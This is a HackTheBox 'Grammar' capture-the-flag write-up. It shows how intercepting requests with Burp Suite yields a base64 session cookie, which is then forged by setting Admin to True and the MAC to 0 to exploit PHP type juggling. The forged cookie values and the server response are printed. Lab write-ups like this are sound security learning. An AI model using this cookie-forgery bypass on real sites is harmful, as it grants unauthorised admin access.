# HackTheBox – Grammar Write Up

Tools:

- Burp Suite (Kali Linux)

**Walkthrough**:

| Step | Description |
|---|---|
| **1** | Upon visiting the website (docker.hackthebox.eu:31944), the site displayed a forbidden page. |
| **2** | The first step was to changing the url to view "index.php". The site displayed the same as the previous page. |
| **3** | After that, Burp suite was used to intercept the website request and experiment with the response of the website under the Repeater tab. |
| **4** | It was found that the response of the website provided a "ses" cookie when the "GET" request was modified to "POST" request at "index.php".<br>The cookie obtained is shown below:<br>ses=eyJVc2VyIjoid2hvY2FyZXMiLCJBZG1pbiI6IkZhbHNlIiwiTUFDIjoiZmY2ZDBhNTY4ZDYxZTVhMDNiY2RiMDQ1MDlkNTg4NWQifQ%3D%3D |
| **5** | Similar to another HTB challenge "I know mag1k", the pattern "%3D%3D" (Values for ASCII non-alphanumeric characters) have to be converted into "= =" characters.<br>The cookie is rewritten as:<br>eyJVc2VyIjoid2hvY2FyZXMiLCJBZG1pbiI6IkZhbHNlIiwiTUFDIjoiZmY2ZDBhNTY4ZDYxZTVhMDNiY2RiMDQ1MDlkNTg4NWQifQ== |
| **6** | The cookie was sent to "Decoder" tab in Burp suite.<br>Decoding the cookie as Base64 resulted in:<br>{"User":"whocares","Admin":"False","MAC":"ff6d0a568d61e5a03bcdb04509d5885d"}<br>The value of "False" was modified to "True" to enable Admin privileges.<br>After that, the decrypted cookie was encrypted in Base64 which resulted in:<br>eyJVc2VyIjoid2hvY2FyZXMiLCJBZG1pbiI6IlRydWUiLCJNQUMiOiJmZjZkMGE1NjhkNjFlNWEwM2JjZGIwNDUwOWQ1ODg1ZCJ9 |

| | |
|---|---|
| **7** | The new encrypted cookie was sent through Burp suite to the website and the website did not display the flag. |
| **8** | It was found that the value of the "MAC" had to be changed to 0.<br>Further information can be found at https://www.paladion.net/blogs/cookie-forgery-part-2 |
| **9** | The value of the cookie was changed to "{"User":"whocares","Admin":"True","MAC":0}", encrypted in Base64 and sent to the website through Burp suite.<br><br>The result of sending the request resulted in obtaining the flag:<br>HTTP/1.1 200 OK<br>Date: Mon, 10 Feb 2020 09:02:42 GMT<br>Server: Apache/2.4.18 (Ubuntu)<br>Vary: Accept-Encoding<br>Content-Length: 639<br>Connection: close<br>Content-Type: text/html; charset=UTF-8<br><br><html><br><body><br><br><form action="index.php" method="post"><br>Change Username: <br><br><input type="text" name="fuckhtml" placeholder="notimportant"><br><!-- HTB hint:really not important...totaly solvable without using it! Just there to fill things and to save you from some trouble you might get into :) --><br><input type="submit" value="Change"><br></form><br></body><br></html><br><br><br><h1> well done! flag is: (Please find the flag yourself ☺) </h1><br>I suck at php so if you finished the challenge with a method other than type juggling the MAC field or found a bug,please let me know :D <br>-forGP <br><br> oh...<a href="http://imgur.com/m1OOHuE">and look how kind I am :P </a> |

Flag is HTB{Please find the flag yourself ☺}

**PS:
- Ensure that the proxy settings of the browser and Burp Suite are configured properly (For example port:8080).
- For first time users of Burp Suite, please configure the browser to have the certificate from Burp Suite before starting the challenge